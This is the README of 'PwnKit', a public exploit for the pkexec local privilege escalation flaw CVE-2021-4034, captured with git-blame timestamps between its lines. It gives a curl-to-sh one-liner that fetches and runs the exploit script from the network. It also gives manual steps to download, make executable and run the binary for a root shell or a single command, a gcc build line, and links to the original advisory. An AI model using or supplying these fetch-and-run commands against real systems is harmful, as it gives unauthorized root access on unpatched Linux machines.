2022-01-26 17:28:42 +03:00
|
|
|
# PwnKit
|
|
|
|
|
|
|
|
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
|
|
|
|
|
|
|
|
## Usage
|
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
|
|
|
|
|
|
|
|
```bash
|
2022-01-27 22:43:49 +03:00
|
|
|
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
|
2022-01-27 22:38:48 +03:00
|
|
|
```
|
|
|
|
|
2022-01-27 22:57:14 +03:00
|
|
|
![](./imgs/oneliner.png)
|
|
|
|
|
|
|
|
### Manually
|
2022-01-26 17:28:42 +03:00
|
|
|
|
|
|
|
```bash
|
2022-01-27 22:57:14 +03:00
|
|
|
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
|
2022-01-26 17:28:42 +03:00
|
|
|
chmod +x ./PwnKit
|
2022-01-27 22:38:48 +03:00
|
|
|
./PwnKit # interactive shell
|
|
|
|
./PwnKit 'id' # single command
|
|
|
|
```
|
|
|
|
|
|
|
|
![](./imgs/exploit.png)
|
|
|
|
|
|
|
|
### Patched
|
|
|
|
|
2022-01-27 22:57:14 +03:00
|
|
|
Running the exploit against patched versions will yield the following output.
|
|
|
|
|
2022-01-27 22:38:48 +03:00
|
|
|
![](./imgs/patched.png)
|
2022-01-26 17:28:42 +03:00
|
|
|
|
2022-01-27 22:57:14 +03:00
|
|
|
### Build
|
|
|
|
|
|
|
|
```bash
|
|
|
|
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
|
|
|
|
```
|
|
|
|
|
2022-01-26 17:28:42 +03:00
|
|
|
## Technical Details
|
|
|
|
|
|
|
|
- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
|
|
|
|
|
|
|
|
## References
|
|
|
|
|
|
|
|
- https://github.com/arthepsy/CVE-2021-4034/
|